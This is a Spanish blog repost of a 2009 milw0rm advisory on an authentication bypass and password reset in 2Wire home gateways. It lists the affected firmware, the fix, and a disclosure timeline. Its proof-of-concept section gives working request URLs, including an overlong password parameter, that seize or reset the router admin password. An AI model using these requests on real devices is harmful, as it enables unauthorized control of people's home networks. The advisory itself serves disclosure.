miércoles, 12 de agosto de 2009

2WIRE GATEWAY AUTHENTICATION BYPASS & PASSWORD RESET


2WIRE GATEWAY AUTHENTICATION BYPASS & PASSWORD RESET (08/04/09)
=============================================


DESCRIPTION
-----------------
There is an authentication bypass vulnerability in page=CD35_SETUP_01 that
allows you to set a new password even if the password was previously set.

By setting a new password with more than 512 characters the password gets
reset and next time you access the router you will be prompted for a new
password.


VULNERABLE
----------------
2Wire 2071 Gateway
2Wire 1800HW
2Wire 1701HG

Firmware
5.29.51
3.17.5
3.7.1

NOT VULNERABLE
--------------------
Firmware
5.29.135.5 or later


DISCLOSURE TIMELINE
-------------------------
03/27/2009 - 2wire Contacted no satisfactory response
07/11/2009 - Sent complete details to 2wire no response
07/17/2009 - Sent advisory with video demo to 2wire ticket status escalated, but no response
08/02/2009 - Made public @ Defcon 17


EXPLOIT/POC
-----------------
Authentication Bypass - just use this page to set a new password

http://gateway.2wire.net?xslt?page=CD35_SETUP_01

Video: http://www.hakim.ws/2wire/2wire_CD35_Bypass.ogv


Password Reset - using the same form but sending a password > 512 characters

http://gateway.2wire.net/xslt?PAGE=CD35_SETUP_01_POST&password1=hkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkh
kmhkmhkmhkmhkmhkmhkmhkm&password2=hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkhkmhkmhkmhkmhkmhkmhkmhkm

Video: http://www.hakim.ws/2wire/2wire_CD35_Reset.ogv


GREETS
------------
sdc lightos pcp nitr0us 0xf alt3kx darko DeadSector Etal gwolf h4ckult1m4t3
hackerss hd k00l kaz Kbrown mendozaaaa nahual Napa nediam raza-mexicana roa
Setting sla.ckers thornmaker tr3w vandida vi0let xianur0 Yield

Comunidad Underground de Mexico : https://www.underground.org.mx


h k m
http://www.hakim.ws

# milw0rm.com [2009-08-12]
Se produjo un error en este gadget.

Etiquetas

INTERNET (457) newsweek (305) SEGURIDAD (225) software (136) HACK (86) Hacker (46) GOOGLE (44) Geek (41) hardware (36) WINDOWS (34) Hackers (31) CRACK (29) video (28) DESCARGA (27) facebook (27) videos (26) Celulares (25) MICROSOFT (22) Informatica (21) apple (19) GRATIS (18) technology (18) virus (18) exploit (17) computación (16) informatico (16) web (15) cracker (14) INALAMBRICO (13) WINDOWS 7 (13) noticias (11) MSN (10) termino (10) ACTUALIZACION (9) Gamer (9) LapTops (9) Mac (9) PASSWORD (9) WINDOWS XP (9) dns (9) firefox (9) juegos (9) FOTOS (8) cientifico (8) iphone (8) WEP (7) antivirus (7) bibliografia (7) Desencriptar (6) INFINITUM (6) wifi (6) youtube (6) Craker (5) Culiacan (5) DESMOSTRACION (5) TELEFONIA (5) messenger (5) DIRECTA (4) DOWNLOAD (4) ESPAÑOL (4) XBOX (4) gmail (4) xss (4) Glosario (3) HTML (3) WPA (3) anuncios (3) hosting (3) hotmail (3) Guru (2) ajax (2) ataques (2) wpa2 (2)